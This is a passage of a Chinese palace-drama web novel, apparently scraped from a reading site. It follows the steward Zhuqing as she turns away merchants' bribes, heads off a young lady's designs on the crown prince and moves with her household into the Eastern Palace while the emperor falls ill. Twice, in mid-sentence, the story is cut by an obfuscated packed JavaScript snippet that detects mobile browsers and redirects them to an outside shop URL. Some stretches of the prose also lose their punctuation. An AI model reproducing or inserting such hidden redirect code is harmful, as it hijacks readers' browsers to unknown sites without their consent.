“她要是没有本事,能从一个小丫头到王妃的贴身丫鬟再到王府的管家,如今做到了太子府上的大管家,日后人家管着东宫,那可了不得。”孟大商人感叹,“只怕是那些官大人都要去巴结她。” 宰相门前八品官,竹清虽然是一个管家,可是她在太子与太子妃跟前都是得脸的,这就沾染上权势了。 竹清刚从孟大商人那里出来,她身后的几人都知道她好相处,便问她能不能散开各自买东西。 她点点头,“快去快回,顺便看一看今日的物价。” 竹清允许这些人快速买卖东西,可不是单纯的善心,她作为管家,自然要对物价了然于胸,这些人去买卖,回来之后她便问上一嘴,很顺利就能知道各种食材、糕点、瓜果、鱼鲜的价钱。 若是太子妃问了,她也能快速且不出错地回她,这才是本事呢! 雍王府里,主子们的贴身奴仆们个个喜得找不着北,反观那些不得重用的,一个个唉声叹气,盖因一旦主子们搬进东宫里头,那麽他们这些人是不能跟着去的,宫里头伺候的人皆有定数,那些扫洒的粗使丫鬟与仆从,宫中会派宫女与太监替代。 说起来,之前在前院走动的那些管事、长随都不能随太子一同进宫的,太子近身服侍的 人通通换成太监。 这就导致了,太子如今有些不虞,他与太子妃说道:“入了宫,从前伺候惯我的人都没了,只剩下一些不知内里如何的太监近身,多有不惯。” “殿下,这可是旁人求也求不得的待遇与喜事,您是太子,那些人只敢小心翼翼伺候的,难不成还能让您不痛快?”太子妃笑着说,见太子脸色缓和,她又说道:“倒是竹清作管家这事很便利,到时候东宫直接让她管着,也就不必着急忙慌地寻一个新的女管家来管了。” 其实东宫这地不算大,但是里里外外的事情不少,只太子妃一个管事的是搞不定的。 “对了,我身边的人放出去一批了,还有你身边的,也得安排妥当了。”太子说,太子妃应了,一时间犯难,说道:“咱们也就罢了,倒是几个哥儿姐儿那里,伺候的人一减再减,铭哥儿与沛哥儿闹起来了,不让那些老人走。” 小孩子还不懂这些事,见不到熟悉的人,便号啕大哭害怕起来。 “哪儿就轮到他们发脾气了?进了宫,难道还像现在这般闹腾麽?”太子皱眉,让太子妃不必管,必要时呵斥亦或是罚一下。 “是。”太子妃应道。 * 第二日下午,竹清忙完便出了府,如今还没有正式住进东宫,故而她行走还是方便的。 她来到了曹大商人名下的一个院落,里头早已有几个大商人以及几个年青的哥儿候着,竹清认得其中一个,是曹大商人第三个儿子,今年二十六,听说刚刚考中了秀才。 “竹清姑娘来了,快坐快坐。”曹大商人招呼着,竹清在上首坐下,她左边坐着曹大商人,右边坐着的,是曹大商人的儿子。 “我们一把老骨头了,竹清姑娘这样正是好年华的小娘子看着我的老脸老皮估计是不惯的,所以我特意寻了几个哥儿来作陪,这些都是各位的孩儿,人品人物都是好的。”曹大商人解释,他教那些哥儿起来与竹清敬酒。 曹大商人的儿子离得近,替竹清斟满了酒,然后用自个的酒杯碰了碰她的酒杯,说道:“云熙敬竹清姑娘的。” 他一口喝尽,不消几时,脸颊两边似乎就红了,比他穿着的红色衣裳还要艳色。 竹清挑眉,不做声,她好像已经猜到了曹大商人想做甚麽了,这 是用男□□惑她把她牢牢地捆上船? 按理说男子都是自觉清高的如果不是沦落风尘之地他们是不会自降身份讨好小娘子的。 也不知这些商人如何与自个的儿子说的只见他们一个个的皆举杯一饮而尽。 “好豪爽!这才是男儿本色!”商人们鼓掌又偷偷窥觑竹清的脸色见她没有不虞又让人上歌舞。 一阵儿清脆婉转的男声传来竹清抬眸发现跳舞的与唱曲儿的皆是男子他们身上穿的衣料单薄隐隐可见白皙的肌肤。 竹清笑了笑抬手拿起筷箸夹了一块凉瓜吃待吃罢压下喉咙里的麻痒之后她说“诸位不必如此客气。” “欸。”曹大商人看了他们一眼又说道:“这如何叫客气?能让竹清姑娘高兴那是他们的荣幸。” “是极是极竹清姑娘的辛苦咱们都看在眼里不独这些人 一个个盒子被放在桌面上其中一些装着一大叠银票一些则是金光闪闪的金元宝一些则是颜色鲜亮夺目的宝石。 为了讨好竹清他们下重本了。 “竹清姑娘这里头有几张屋契与田契皆是上好的屋子风水好田是上等田算是我的一点小小的心意请您收纳。”孟大商人把手边的盒子往竹清那边推了推言语里俱都是恭维。 竹清没有动而是思量难怪世上有那麽多贪官瞧瞧她不过是太子府上的一个管家而已都已经能教这些大商人讨好她弱她是手握实权的官员底下的人岂不是天天想着孝敬? “诸位客气了这是做甚麽?”竹清慢慢悠悠地自斟自饮既不推拒也没有接过来。 “竹清姑娘便收了罢左右只是咱们一点点的小心意不会耽搁你当差的。”这话的意思就是说他们送东西不为求她办事仅仅是想套个交情。 竹清却摇摇头说道:“都拿回去罢我并不需要。”这样显而易见的污点她是断然不会留的。日后教有心人一查就能查到难免留下后患。 “咱们只吃酒喝汤这样也很好了我与诸位本来就认识自然不忍心看你们破费。”竹清这般说完这些大商人交换一个眼色之后各个都把盒子拿下桌子随后 又笑起来,“竹清姑娘体恤我们,如此貌美又心地善良的小娘子不多了,来,竹清姑娘,我敬你。” “是是是,我也敬你,竹清姑娘切莫怪罪。” 这一番敬酒已然热闹了曹大商人的小院,不消几时,曹大商人又让唱曲儿的伶人过来敬酒,他说,“你练了许久的曲儿了,有幸见竹清姑娘一面,敬个酒罢。” 那伶人照做了,一袭面容如月如珠,喝完一杯酒,脸庞与脖子皆染绯红,他眼巴巴儿地看着竹清,只奈何竹清不是个怜香惜玉的,没有教他留在身边伺候。 曹大商人挥挥手教伶人下去了,“继续弹曲儿罢。”他内心叹气,金钱她不好,男色她也没有需要,竹清姑娘到底要如何讨好才行啊? 竹清游刃有余,她酒量早就练出来了,这会儿谁敬酒都喝,酒过三巡,几个哥儿都醉醺醺的了,她依旧目光清明。 “曹大商人,你的这顿饭还不错,我先走了,醒醒酒气。”竹清被送上了轿子。 曹大商人看着这一堆年青的哥儿,恨铁不成钢地摇头,叹气都不知道叹了多少回。 他的儿子还没有完全醉,见了父亲的神色,他不满地嘟囔,“这般不是正好,我才不乐意去伺候小娘子,又没有甚麽好处。” “你懂甚麽!”曹大商人说,人家竹清姑娘现在是太子妃的贴身丫鬟,待日后……造化大着呢,他们想攀也攀不上! * 三日后天擦亮,采买的食材就送到了大厨房,竹清拿着单子一一对照,大厨房的管事陪在一旁,大厨房里的婆子掌勺大气都不敢出,皆站在角落里。 “今日要做的菜式是一早就安排好的,你们负责洗菜剁肉的,记得按照顺序来,这是定好的,如果有更改,我会让人来告知你们。”竹清头也不抬,问道:“都听明白了麽?” 粗使婆子们与大娘子们一个个应了,“听明白了。”她们低着头,尤其是当初在大厨房抹黑过竹清的许娘子,她生怕竹清抓了她出来训斥,故而缩着身子,藏在人群里。 “还有掌勺,有些食材是恰好一桌一份儿的,你们做的时候可千万要注意不要坏了味道,若出了差错,打板子还是轻的。懂我的意思吗?”竹清淡淡地扫了十几个掌勺一眼,今日要忙活得多,所以大厨房里的掌勺们有一些是 小厨房调过来的,他们扎堆,人真的不少。 “懂了。”他们亦不敢造次,恭恭敬敬地应了,如此敲打一番,竹清脸上就露出了笑容,“自然,太子妃心善,若你们差事做得好,赏赐不少,你们也别怕辛苦。” 打一棒再给一颗甜枣,她运用得炉火纯青。 在大厨房忙完,竹清又到了正门口,这里的雍王府牌匾还没有下,待他们都搬到东宫了,会有专门的太监来卸了这牌匾,然后这座府邸就收回。 毕竟这是陛下赏赐的。 雍王府门口停满了一辆辆马车,竹清带着人迎客,旁人见了她,少不得客客气气的喊一声“姑娘”。 连宣王妃也不再斜着眼睛看她,虽然态度依旧不好,可是她还是收敛了。 太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234393|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子与琮哥儿在招待男客,太子妃接待女客,两方皆是其乐融融,没有甚麽不长眼的人跳出来找事。 当然,偶尔也会有一些意外情况,譬如,一个小娘子不小心打湿了鞋袜,太子妃就吩咐竹清带她去换鞋袜。 府中留出专门的院子以供女客使用,竹清带着这个小娘子进了院子,只是,她敏锐地注意到她似乎在找甚麽东西。 “这位娘子,可是有事?”竹清轻声询问。 “没有。”小娘子在婢女的伺候下换好了鞋袜,她忽的说道:“我暂时还不想恁快回去,王府景色宜人,我想到处走走。” 竹清对这些想要“随便走走”的小娘子们向来都很警惕,小娘子们来王府是要赴宴坐席,是要交际结交手帕交,不是出来逛园子的,本末倒置就一定有问题。 “小娘子可是醉了?不若您在这里歇一歇,奴婢教人给您端一碗醒酒汤来?”竹清笑着说,奈何这个小娘子似乎铁了心要逛逛,为了防止她弄出甚麽事情来,竹清便教两个副管家管着先,她带着这个小娘子逛。 待竹清转身后,这个小娘子看着她的背后咬了咬唇,颇有些心不在焉。 “小娘子,那边是男宾的院子,您还是不要过去的好,毕竟冲撞了您就坏事了。”竹清挡在路前,这回她就不是那麽好脸色,而是冰凉地看着这个不守规矩的小娘子。 敢在这样的大日子里搞出不好听的事情,只怕他们府上会出糗,竹清断然不允许有人这样做,这不是教人怀疑她管 家的能力麽? “堵着路干甚麽?身后传来了太子的声音,竹清转身行礼,忽的就清楚小娘子看中谁了。 “肖家四娘子见过太子,太子金安。肖四娘子娇滴滴地唤道,她弱柳扶风的,行礼的时候衣袖摆动,带出一股好闻的幽香。 她正是太子所喜欢的那种类型的小娘子。 “起来罢。太子说。 他正想问甚麽,竹清就大煞风景地说道:“启禀太子,肖四娘子出来醒酒,正巧走到这里,惊扰了太子。 要是太子在她面前跟肖四娘子有了点甚麽,只怕她也要跟着吃挂落。 “既如此,就带肖四娘子回去罢。太子点了点下巴,竹清的提醒他听出来了,故而也不给肖四娘子说话的机会,自个往外头走了。 肖四娘子明显不甘心,想出声,竹清及时阻止她,“肖四娘子,您若是在这里高声,只怕里头的男宾们听得一清二楚,到时候于您的名声有碍。 此话一出,肖四娘子这才讪讪地止了话,灰溜溜地跟在竹清身后回了女客的院子里头。 竹清把此事与太子妃禀报了,太子妃低声与她说道:“不要声张,今日你看着点,有这般心思的绝对不止肖四娘子一个。 太子妃冷笑,她环顾一周,这里坐着的小娘子们个个鲜嫩,有些表面上娴静文雅,实际上眼角眉梢俱带着一抹算计,谁知道内里打着甚麽主意? 不独她们,就连当家主母们不也心思浮动麽?要是太子看中了她们的女儿,纳进后院做个侍妾,待太子登基,这些侍妾就一跃成为后妃了。 若是幸运,生下一个皇子,说不得还能福泽母家,所以这些大娘子们也不是不心动的。 竹清领命退下了,今日的宴席太子妃的母家只来了姜二夫人与几个小娘子,倒是两位侧妃的母家,来了不少人,正在席面上接受着旁人的簇拥呢! 太子妃由着画屏替她整理了衣裳,她垂眸,这些人可别跳太高,不然她可不会心慈手软的。 哪怕两个侧妃生了哥儿,也不能撼动琮哥儿的地位,如果她们胆敢有妄想,那她不介意手脏一点,替琮哥儿扫平一切阻碍。 不合时宜的,太子妃想到了太子,若他日后大权在握,会不会改变了心性于想法,会不会想要 捧旁人的儿子作太子? 未来的太子之位,下一任帝王,一定得是她的儿子! 太子妃顷刻间就打定主意,待衣裳打理妥当后,她这才进了花厅,又与这些夫人们聊了起来。 宴席持续到黄昏,太子与太子妃在三道垂花拱门送完客人,脸上这才涌现出疲惫。 只是还没等他们稍作歇息,后头就有小丫头禀报,“启禀太子、太子妃,后院的李侍妾病了,府医过去瞧了,说是心病。” “太子要过去瞧瞧麽?”太子妃问道,她知道李侍妾是甚麽问题,无怪乎就是不想过继全哥儿,可是事情已经定了,绝无更改的。 “去罢。”太子想了想全哥儿,叹气。 他们到的时候,全哥儿也在这儿,李侍妾正靠在床榻上,一副病怏怏的模样,全哥儿正安慰她。 “不必行礼了,这是怎的了?”太子妃教人阻止了想起身的李侍妾,待太子坐下之后,她又让全哥儿免礼。 “太子,太子妃,妾身……”李侍妾看了全哥儿好几眼,心如刀割,若是雍王没有当太子,她或许也就接受了。可是偏偏在她安慰自个,全哥儿得了一份好前程的时候,雍王因功被立为太子。 那可是太子,储君,未来的君主! 她的全哥儿,本来能做皇子,可是一朝改变,成了王爷的儿子,教她如何甘心呢? “事情已经定了,断然没有反悔的,你不愿意也没有法子,本殿下知道你在想甚麽,可是你要知道,这般也不差的。”太子扫了全哥儿一眼,见他低着头,心里有些失望。 全哥儿资质就是比较平庸,让他作祁王的儿子,对他也不是没有益处的。起码不用卷进是非当中,就这般安安稳稳的过一辈子。 可是李侍妾显然并不这样想,太子妃见了依旧哭泣的李侍妾,微微摇头,如果她是李侍妾,这会儿就借着太子在这儿,赶紧为自个谋一些傍身的值钱东西。反正全哥儿是定要走的,李侍妾不若低头,教太子觉得她心性还不错,或许日后她也能有个极好的造化。 待来日太子登基,位份还不是他说了算?能得个甚麽样的位份,过甚麽样的日子,都得依靠来日的陛下。 何必在太子高兴的时候扫兴? 作者有话要说 第 60 章 搬进东宫 李侍妾无声的哀求终究没有用,在半个月之后,全哥儿就正式过继给了祁王,虽说名字没有变,但是终究是不一样的了。 同日,太子接了陛下给的差事,筹备下个月的皇太后的生辰。皇太后与陛下不是亲母子,但是像生辰这样的大日子,陛下也会教人好好操办。 如今让太子去做,也是教他熟悉熟悉朝廷的各个部门,免得甚麽都不清楚。太子妃自然也要从旁协助,她带着竹清进了宫去拜见太后娘娘。 说来,竹清其实一年到头也就见过太后娘娘几次,太后娘娘除了大日子,其余的时间都不出宫门。 待问了太后的喜好之后,太子妃伺候太后歇下,如此她们才出了寿仁宫。 “走罢,咱们去东宫瞧瞧。”太子妃说,东宫长年累月不住人,即便有宫女太监每隔几日打扫,到底清理不彻底。如今不同了,东宫要住人,便上上下下俱都要打理妥当。 “见过太子妃。”东宫里的宫女太监们齐齐跪下,太子妃抬手,“免礼,你们做自个的事,不必随行。” 她们一路从前院到后院,里头的院子早已分配好,一些贵重的物价也搬过来了,只等太子与太子妃在东宫吃过饭,象征东宫里有人气,后院的侍妾与哥儿姐儿们也就可以住进来了。 “这也太小了点。”太子妃叹气,几乎比王府小上一半,即便处处彰显金贵,到底教她不舒适。 “太子妃可不兴说这样的话,能住进宫里,多少人求也求不来的。”竹清安慰她,又指了指特意移栽到这里大缸种着的荷花,“东宫附近不近水,为了让主子们瞧见荷花,底下的人就有了巧思,这样主子们也不必跑老远去赏荷了。” “是了。”太子妃逛了一圈,便带着竹清出了宫。 马车上,她问竹清,“殿中省要求的名单你交上去了吗?交了你们就得预备着学规矩了。” 能跟着主子进宫的贴身丫鬟们都需要重新学规矩,如何行礼、如何穿戴,甚至是衣裳袖口上的刺绣都是有规矩的,能用的不能用的,都要一一学了然后死死记住。 宫中是个吃人的地方,不守规矩活不下去。 殿中省,里头的一个大太监翘着兰花指喝着茶,他眼神落在桌面的单子上,问道:“奇了怪了的,东宫居然教一个小 娘子管事,她是有甚麽大本事不成? 他早就打听过先前在雍王府作大管家的人,只并不放在心上,他想着,太子与太子妃总归会换一个老成持重的人管东宫罢? 没成想还是她。 “看来咱家要好好结交她一番了。他掐着嗓子说,尖尖的嗓音激得人不舒适。 过了三四日,竹清领着能进宫的丫鬟妈妈们,等着宫里来的嬷嬷教导礼仪,此次被派出来的嬷嬷一共有三个,教的东西各有不同。 “在宫里头,何时回宫何时出宫,那都是都时辰规定的,在大钟响了三下后,你们就该知道,宫门即将下钥了,就需要快快回宫。若这个时候还在外头,保不齐就要被侍卫们抓走。 “还有你们的衣裳,我知道你们小娘子爱俏,可是你们记住了,袖口、衣领、手帕、鞋面、荷包……这些贴身的都不能绣过多的花纹,寻常的草儿就可以了。那个嬷嬷停了一下,看向竹清,话锋一转,“自然了,竹清姑娘管着东宫,属于管事的宫女,你就可以多绣一些鲜亮的花儿,只是也不可太过了。 竹清应了,如此教了十来日,等到三个嬷嬷都觉得可以了,府上学宫规的丫鬟们才解脱了。 六月初三,天大晴。司礼监占卜过的日子,宜动土、搬迁。 太子与太子妃早上在东宫吃了一顿饭,又敬香祈福过后,下午,后院的侍妾与哥儿姐儿也搬进来了。 道道宫门隔绝了她们与外界的联络,自此,哪怕是竹清,想要出宫也需要层层批准,还得早去早回。 竹清换上了一身宫制的衣裳,她在袖口和衣领处多绣了两道迎春花,以此彰显她掌事宫女的身份。 她今年24岁,宫中的规定是25岁的宫女,若是主子不留或者实在是想出宫的,就放出去婚嫁。若是主子留了,又不婚嫁的,那就可以自梳作姑姑。 所以竹清离自梳还有一年的时间。 进了宫,太子妃就要与皇后、淑妃日日相见,甚麽晨昏定省、平常的孝敬等等,都需要太子妃去维系。 “太子妃,这是殿中省送来的玉台金盏,说是庆贺咱们迁进来。竹清指了指桌上以及地上摆满的各色花朵儿,都是金贵难养的,寻常地方见不到。 “林忠海还挺懂事的,听说昨日他 还亲自来了一趟看着宫人们搬抬东西?”太子妃问竹清点点头说道:“是呢说是怕宫人太监们毛手毛脚损坏了一些就不好了。” 林忠海就是掌管殿中省的大太监宫里不管是宫人的调动、每月月例的发放都是从殿中省走可以说 进了宫竹清反而不那麽忙了因着外头的铺子太子妃都交给放出去的妈妈们管着了不必她隔三差五的盯着。 还有就是原本竹清奉太子妃的命暗中查了好几个哥儿这事也搁置了。敏姐儿到了要婚嫁的年纪太子妃帮她相看只是他们家一朝之间改换门庭主君从不确定前程的王爷成了太子那麽敏姐儿的婚事自然也就要往上走走。 “我先前看的几个这会儿就有些不够看的了。”太子妃桌面上放着几张纸正是竹清调查得来的结果几个哥儿的生辰八字、相貌、才情等等都一一记录了。 “这个是不是敏姐儿伴读的哥哥?”太子妃拿起其中一份瞧了起来沉吟良久才说道:“我记得敏姐儿的两个伴读都是好孩子只是不知道一母同胞的哥哥内里如何?” 若可以她自然喜欢敏姐儿嫁给一个温柔顾家的男子说句不好听的日后敏姐儿会是皇后所出的嫡出公主身份尊贵世家子尚公主也得矮着自个的身子。 竹清笑着说道:“只看他是不是个想要前程的不然是结亲还是结仇不好说。”大文朝的驸马爷是不能插手朝政的能拥有爵位但是不能当官。尚公主能获得满门荣耀福泽后辈但是自个的前程可就没有了。 “这些年轻气盛的哥儿哪个不想着为陛下分忧?总有那麽几个觉得自个能力出众不肯尚公主的。咱们不急细细看过才好不然只会害了敏姐儿下半辈子。”竹清也是看着敏姐儿长大的亲眼见敏姐儿一日一日长成一个知礼貌美的小娘子她也不想敏姐儿与人结成怨侣。 “是了其实……”太子妃欲言又止她想说的是如果敏姐儿再小一点等几年她当上公主那样选择的余地更多且婚嫁的仪制也会隆重很多。 可是这事哪儿是她能决定的? “太子妃不好了勤政殿有太监来报说是陛下突然昏厥太子当时就在勤政殿赶忙宣了太医。现下太后娘 娘与皇后娘娘都去勤政殿了太子妃也快些去罢。”宫女说。 太子妃与竹清相互对视一眼竹清立马伺候太子妃换了一身素色的衣裳再把鲜亮的首饰取下来插上一些名贵但是不夺目的珠钗。 勤政殿内站着不少人陛下是在与大臣们商议朝政的时候忽然晕厥所以几个大臣也在这里。 东宫离勤政殿有些距离太子妃到的时候太后娘娘与皇后娘娘俱都在她行了礼站到皇后娘娘身边。 “如何?父皇身子究竟怎样?”太子问把脉的太医这些太医轮流把脉生怕出错。 “皇帝为何晕厥?可严重?”太后问她也就是象征性问一下 说句僭越的太子登基她还成了太皇太后身份愈来愈尊贵哪个敢不敬? “启禀太后、皇后、太子陛下身子本就有些虚暗伤多今日忽然晕厥也是因着经年累月的内伤这些内伤顽固微臣等人只能压制不能根除。”御医说还有一些话他没有说陛下这个身子底子已经空了加之陛下处理政事废寝忘食再怎麽医治陛下至多只能活一年。 陛下至今昏迷不醒太后便看了皇后一眼说道:“皇后你是国母这个时候就多操劳操劳安排人侍疾记住找些安静娴雅的别教咋咋呼呼的来勤政殿。” 这是点德妃以及淑妃呢淑妃的儿子成了太子她得意了好一阵儿见天儿地与德妃斗嘴这样的人不可来勤政殿。 “儿臣知道了母后先回宫罢这里有儿臣看着。”皇后说太后年纪大了也不是个能熬的。 别陛下好了太后又出事了。 “嗯朝政的事咱们插不上嘴且看太子与诸位大臣如何处理。”太后看了几个大臣一眼里头正有一位出自上官氏的二品大臣。 太后警告皇后别趁着陛下出事就把控朝政皇后笑着应道:“母后的话自然有道理儿臣知道了。” 有道理但是她不打算听。 雍王能成为太子背后少不得她的上官氏支持她不过是想要一些好处罢了不妨碍国家大事就成。 在勤政殿内的人各有考量就像太子如今他在床榻旁边心里希望陛下赶紧好起来他虽然当了太子可 是很多东西都不懂。若没有陛下教导,他贸然就上位,到时候主弱臣强,是亡国之兆。 太后走了不久,皇太孙与几个孙辈就到了勤政殿,他们原本在勤学殿上课,后头下课有人来报,他们就结伴一起来了。 皇太孙走在前边,先朝各位长辈行礼,然后站在前头,看着太子伺候陛下。 陛下昏迷了许久,直到后半夜,他才幽幽转醒,一睁眼,便看见了太子与皇太孙在床榻边,见他醒了,皇太孙惊醒地说道:“皇祖父您醒了! 竹清与太子妃在外间,这会儿也进来了,陛下一脸疲惫,他被扶着靠在抱枕上,扫了一圈,他问了好些问题,末了夸赞一句,“你们都有孝心,是好孩子。 太子高兴,皇太孙抬头,眷恋地说道:“孙儿想皇祖父,还教人做了皇祖父爱吃的清淡菜片粥,皇祖父可要用一些? “嗯。 待在太子与皇太孙的服侍下用过粥,陛下终于有了一些力气,他看向衣冠略有不整的太子,缓慢地说道:“朕病了,朝政却不能没有人处理,即日起,就由太子监国,皇太孙从旁协助,朕会点几个重臣辅佐,另,皇太孙不必去勤学殿了,与太子一般呆在勤政殿,朕亲自教导。 在病重之时的托付,显然意义非凡。 太子呆了呆,说道:“父皇,儿臣…… “无妨,朕会看着,太子,你要习惯独自处理奏折。去,你去把两位丞相以及六部尚书叫过来。陛下吩咐太子,待太子出去后,他看着皇太孙,这个他从小看着长大的孙儿,如今初俱少年郎风姿,背部挺直,如同一棵青松。 “琮哥儿,朕会留一道旨意的,放在……陛下与皇太孙耳语,声音几不可闻,他担忧太子登基之后残害皇太孙,又或者另立太子。 这可不行! 皇太孙眼神闪烁,他自然明白皇祖父的意思,这个风烛残年的老人到最后,依旧在为他打算,他心里不免动容,哀哀地喊了一声,“皇祖父。 “好孩子,你才是按照国君标准教导出来的继承人,至于你父亲,是我糊涂了。没有早早教他,如今他有很多事情都不懂。陛下的手指摸着皇太孙的脸,这个孩子,才是被他寄予厚望的。 陛下与皇太孙说了几句,太子就带着大臣们进 来了,陛下止住了话,开始交代大臣们各种事宜。 太子被任命监国,水涨船高,太子妃地位自然就不同了,连带着竹清,在宫里行走也不一般。 她们刚到宫中,需要认路,故而有几回去大厨房、殿中省,都是竹清领着人去的。 这日,竹清去了殿中省,那林忠海早就想结交她,听说她来,赶忙放下茶碗,整理衣着,从里头走出来,迎了竹清,“竹清姑娘,这边来,我让人准备好茶与你吃。 竹清跟在林忠海后头,说道:“林公公客气了,这几日咱们宫里的小主子摔了几个瓶儿,我拿来登记。 “欸,我等下便教他们送了新的去。小主子爱跑动,难免跌跌碰碰,不碍事的。林忠海看了托盘的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234394|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎瓷片几眼,并不放在心上,这点子不算稀罕,官窑里多的是。 竹清这回来可不仅仅是换新瓶儿恁简单,她要搞清楚宫中宫女太监们背地里的关系,总要知道谁与谁交好,哪个跟哪个有仇,这样日后当差了,总不至于得罪人。 就像林忠海,他管着殿中省,轻而易举就能使绊子,竹清与林忠海面对面坐着,开始饮茶吃糕点。 “林公公可忙?如果你忙的话,不用管我的。 “近来殿中省不算忙,太后娘娘的寿辰这样的事宜都是有章程的,大部分与去年无甚区别,底下的人只管照做就是。林忠海说罢,想到竹清的身份,又夸了一句,“太子妃与皇太孙吩咐的事半点不差,到时候太后娘娘定要夸太子妃与皇太孙了。 筹备太后娘娘的寿辰这件事原本由太子来做,只是陛下突然身体不适,太子监国,此事便交给了太子妃还有皇太孙去忙活。 “欸,若没有你们殿中省时刻在旁边看着,太子妃只怕也要抓瞎的,到底是你们能干。 “十五那日竹清姑娘有没有事?我有个好友过生辰,在宫外头的院子里庆贺,她是大娘子,喜欢鲜亮的小辈,而且说了人多点热热闹闹,我想着竹清姑娘若没有事,随我出宫去赴宴。林忠海说,他没有说这个好友是谁,不过竹清转念一想,就猜到应该是宫里体面的嬷嬷。 “林公公邀请,我怎好拒绝?竹清仔细思索,“我少不得备上一份儿厚礼 不然哪儿好意思去吃席。” “林公公可有甚麽好提议?”竹清问每个人都有爱好宫中待久了的老嬷嬷也许不好金银珠宝又或许她喜好吃家乡的小食这都说不准的。 送礼就得投其所好。 “她呀就喜欢好的刺绣尤其是苏绣绣一只小猫出来活灵活现的教她心头喜滋滋。”林忠海明显了解自个的好友也存在提点竹清的心思。 苏绣?竹清为难她刺绣只能说勉勉强强平日里的帕子甚的都是相熟的人帮她绣的论起刺绣手艺有竹溪的娘亲袁娘子但是她不擅长苏绣论起苏绣 画屏还没嫁人的时候就管着主子的贴身物件肚兜都是她绣的软和精细甚得主子的喜爱。 或许她得出宫找画屏一趟。 “多谢林公公提醒。”竹清说她们又聊了一些旁的左不过是宫里暗地里的规矩。 * 如今要出宫可不算容易竹清请了假得了腰牌在规定的时间内便急匆匆地出宫了。 画屏如今在太子妃的陪嫁庄子里当管事娘子她生了两个孩子一个男孩一个女孩也都是带去庄子里的。 “来你们两个别跑了过来见过你竹清姑姑。”画屏穿得简单头上更是只插了几个金钗一派管事大娘子的模样教人不敢看轻了她。 “来这是我与你们的零花记着藏好。”竹清给了两个小的几颗银花生又对画屏说道:“你可不能夺了他们的教他们留着买东西罢。” “成你们两个去顽罢。”画屏显然看出来竹清是有正事找自个待两个孩子手拉着手跑远之后她才收回视线看向竹清问道:“你来找我是甚麽事?只管说出来我帮得上你的一定会帮。” 竹清从前帮过画屏一个大忙她成亲的前一日有个压箱的嫁妆坏了一角第二日早上就要把嫁妆抬到男方那边晒嫁妆了这样贵重的物价坏了画屏心急如焚。 最终还是竹清人脉广连夜替她找到了匠人修复了这才让她的婚事和和美美一点错没有。 竹清把事情与画屏说了画屏沉吟说道:“这不是难事不过我得带来庄子才能绣了家中绣不得。” “为何?你那婆母为难你 ?”竹清问,画屏点了点头,有些忧愁地说道:“你知道的,我婆母自个就生了七八个孩子,我这几年只生了两个,她有些不满,最近更是明里暗里地催我多生两个,日后好相互扶持。” “算了,不说了,左右日后你不会有这样的烦恼,倒是比我好上些许,你这个忙我帮了,十二你出来,我给你。”画屏说。 * 十五,竹清捧着礼盒进了一处雅致的院子,林忠海穿着常服为她引路,他说,“人还没到齐,我先带你见了她,你叫她霜玉姑姑就好。” 林忠海又低声与竹清说了好些,竹清得知,霜玉姑姑是负责教导新进宫女们礼仪的,另外三年一选的秀女,也由她负责教授宫规。 霜玉姑姑已经三十多岁了,按理说脸上应当有操劳的痕迹,可是瞧外表,她不像伺候人的姑姑,倒像是哪家的当家主母。 可她没有成亲。 她在二十五岁的时候拒绝了出宫的要求,选择自梳,继续留在宫里。 说起来,宫里头自梳的姑姑不算多,霜玉姑姑也是出名的。 “霜玉姑姑好。”竹清与她问了好,又把礼品打开,对霜玉姑姑说道:“苏绣的帕子还有荷包,一只玄猫一只金瞳猫,姑姑瞧瞧。” 霜玉姑姑在宫里浸淫多年,眼光高,但是看了这两张帕子以及荷包,她亲手拿出来,赞了一句,“不错。” “你这轻飘飘两个字,可是教人家不安。”林忠海调笑,他自斟自饮,说道:“竹清姑娘,能从霜玉姑姑嘴里听见不错两个字,就证明是很好啦!她这个人,向来是沉默寡言的。” 沉默寡言,但是喜爱热闹,有趣。 霜玉姑姑个性真是鲜明。竹清在心里想,一边回林忠海,“听林公公这话,我安心了。霜玉姑姑见多识广,能得姑姑这两个字,我很高兴。” “你去里头帮我瞧一瞧仆人备宴备得如何了。”霜玉姑姑忽的吩咐竹清,有些不客气,哪儿有教第一回来做客的人干活的? 可竹清应了,她无利不起早,既然要从霜玉姑姑身上得到甚麽,就会做得很好。 “她如何?”林忠海抬起下巴问,霜玉姑姑点点头,“不错。” “我知道她想要甚,她的表现我瞧在眼里,允了她就是了,也当作给太子妃一份善意。”霜玉姑姑说。 作者有话要说 第 61 章 位份 太子妃刚入宫,也跟着皇后慢慢熟悉宫务,但是论起分到东宫的宫女太监们的来历,她还是不大清楚。 故而竹清这回来参宴,也是存了与霜玉姑姑交好的想法,霜玉姑姑是教导每一年新进宫女的,对宫女们的来历、去向可谓是一清二楚,而林忠海在殿中省,自然也知道宫中的宫女太监与谁接触、是谁的人。 分去东宫的宫女太监背地里是谁的人,有没有异心,这些都是需要弄清楚的。 太子妃虽然在前朝有点人脉,但是对于后宫,她还是摸瞎的,皇后也不会主动告知她东宫有没有暗探,她们两个会合作,但是皇后绝不会事事帮她。 竹清做事向来耐心,何况看下人们布宴这样的差事,她这十多年不知道做过多少次,对于规格、流程早已经烂熟于心。 这会儿更是游刃有余。 